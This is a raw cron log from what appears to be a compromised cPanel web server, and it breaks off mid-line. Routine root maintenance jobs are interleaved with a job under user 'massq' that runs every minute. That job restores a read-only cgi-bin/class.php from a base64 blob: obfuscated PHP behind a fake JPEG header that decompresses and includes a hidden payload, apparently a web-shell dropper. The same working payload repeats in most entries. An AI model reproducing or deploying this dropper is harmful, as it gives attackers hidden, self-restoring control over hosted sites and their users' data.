Apr  9 00:28:01 server CROND[27751]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 00:29:01 server CROND[27798]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 00:30:01 server CROND[27958]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  9 00:30:01 server CROND[27961]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  9 00:30:01 server CROND[27962]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/scripts/update_db_cache && /usr/local/cpanel/scripts/update_db_cache)
Apr  9 00:30:01 server CROND[27963]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 00:30:01 server CROND[27960]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr  9 00:31:01 server CROND[28088]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 00:32:01 server CROND[28141]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 00:33:01 server CROND[28198]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 00:34:01 server CROND[28250]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 00:35:01 server CROND[28358]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  9 00:35:01 server CROND[28359]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  9 00:35:01 server CROND[28360]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr  9 00:35:01 server CROND[28361]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Apr  9 00:35:01 server CROND[28362]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 00:36:01 server CROND[28542]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 00:37:01 server CROND[28588]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 00:38:01 server CROND[28650]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 00:39:01 server CROND[28706]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Apr  9 00:39:01 server CROND[28707]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 00:40:01 server CROND[28768]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  9 00:40:01 server CROND[28769]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  9 00:40:01 server CROND[28771]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 00:40:01 server CROND[28770]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr  9 00:41:01 server CROND[28990]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJf